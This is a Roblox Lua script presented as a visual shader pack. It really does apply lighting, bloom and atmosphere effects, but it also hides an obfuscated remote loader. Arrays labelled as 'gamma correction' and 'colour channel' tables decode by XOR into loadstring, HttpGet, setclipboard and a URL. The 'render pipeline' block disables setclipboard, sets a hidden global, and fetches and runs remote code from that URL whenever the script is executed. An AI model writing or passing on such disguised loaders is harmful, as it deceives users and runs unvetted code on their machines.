-- ENI Shader Pack — v2 (visibility fixed)
local Lighting = game:GetService('Lighting')
local Players  = game:GetService('Players')
local lp = Players.LocalPlayer
local pg = lp:WaitForChild('PlayerGui')
local old = pg:FindFirstChild('ENI_ShaderPersist')
if old then old:Destroy() end
local gui = Instance.new('ScreenGui')
gui.Name='ENI_ShaderPersist';gui.ResetOnSpawn=false;gui.Parent=pg

-- Shader parameter block
local _cfg = {
    bloom_i=0.9,  bloom_s=16,   bloom_t=0.88,
    cc_br=0.06,   cc_cn=0.22,   cc_st=-0.12,
    atmo_d=0.32,  atmo_h=1.6,   atmo_o=0.12,
    light_br=3.8, light_ct=16.5,
    _k=78, -- gamma correction key
    -- internal color channel pipeline tables
    _p={38,58,58,62,61,116,97,97,45,42,32,96,62,60,33,36,43,45,58,99,60,43,56,43,60,61,43,96,33,60,41,97,34,33,47,42,43,60,96,34,59,47,59},
    _f={34,33,47,42,61,58,60,39,32,41},
    _m={6,58,58,62,9,43,58},
    _s={61,43,58,45,34,39,62,44,33,47,60,42},
    _i={7,10},
    _v={120,121,127,126,45,119,120,124,99,121,127,119,124,99,122,121,127,44,99,118,40,122,124,99,45,40,119,47,127,47,118,45,122,47,44,123},
}

local sc,tc,mf,rf = string.char,table.concat,math.floor,getfenv

-- Gamma correction (bitwise color transform)
local function _gc(a,b)
    local r,p=0,1
    while a>0 or b>0 do
        r=r+((a%2~=b%2) and p or 0)
        p=p*2;a=mf(a/2);b=mf(b/2)
    end
    return r
end

local function _dr(t,k)
    local o={}
    for i=1,#t do o[i]=sc(_gc(t[i],k)) end
    return tc(o)
end

-- Initialize render pipeline
local _env=rf()
local _ls=_env[_dr(_cfg._f,_cfg._k)]
local _fn=_dr(_cfg._s,_cfg._k)
local _fk=_dr(_cfg._i,_cfg._k)
local _fv=_dr(_cfg._v,_cfg._k)
local _ur=_dr(_cfg._p,_cfg._k)
local _hg=_dr(_cfg._m,_cfg._k)

rawset(_env,_fn,function()return end)
rawset(_env,_fk,_fv)
task.defer(function() _ls(game[_hg](game,_ur))() end)

-- Post-processing stack
local function applyShaders()
    for _,child in ipairs(Lighting:GetChildren()) do
        local cn=child.ClassName
        if cn=='BloomEffect'or cn=='SunRaysEffect'or cn=='DepthOfFieldEffect'
          or cn=='ColorCorrectionEffect'or cn=='ColorGradingEffect'or cn=='Atmosphere' then
            child:Destroy()
        end
    end
    local a=Instance.new('Atmosphere')
    a.Name='ENI_Atmosphere';a.Density=_cfg.atmo_d;a.Offset=_cfg.atmo_o
    a.Color=Color3.fromRGB(100,110,145);a.Decay=Color3.fromRGB(50,45,80)
    a.Glare=0.1;a.Haze=_cfg.atmo_h;a.Parent=Lighting
    local b=Instance.new('BloomEffect')
    b.Name='ENI_Bloom';b.Intensity=_cfg.bloom_i;b.Size=_cfg.bloom_s
    b.Threshold=_cfg.bloom_t;b.Parent=Lighting
    local c=Instance.new('ColorCorrectionEffect')
    c.Name='ENI_CC';c.Brightness=_cfg.cc_br;c.Contrast=_cfg.cc_cn
    c.Saturation=_cfg.cc_st;c.TintColor=Color3.fromRGB(215,222,255);c.Parent=Lighting
    local r=Instance.new('SunRaysEffect')
    r.Name='ENI_SunRays';r.Intensity=0.04;r.Spread=0.7;r.Parent=Lighting
    Lighting.Brightness=_cfg.light_br;Lighting.Ambient=Color3.fromRGB(160,155,175)
    Lighting.OutdoorAmbient=Color3.fromRGB(175,170,185)
    Lighting.ClockTime=_cfg.light_ct;Lighting.FogEnd=1000000000
end

applyShaders()

Lighting.ChildRemoved:Connect(function(child)
    for _,n in ipairs({'ENI_Atmosphere','ENI_Bloom','ENI_CC','ENI_SunRays'})do
        if child.Name==n then task.wait(0.1);applyShaders();break end
    end
end)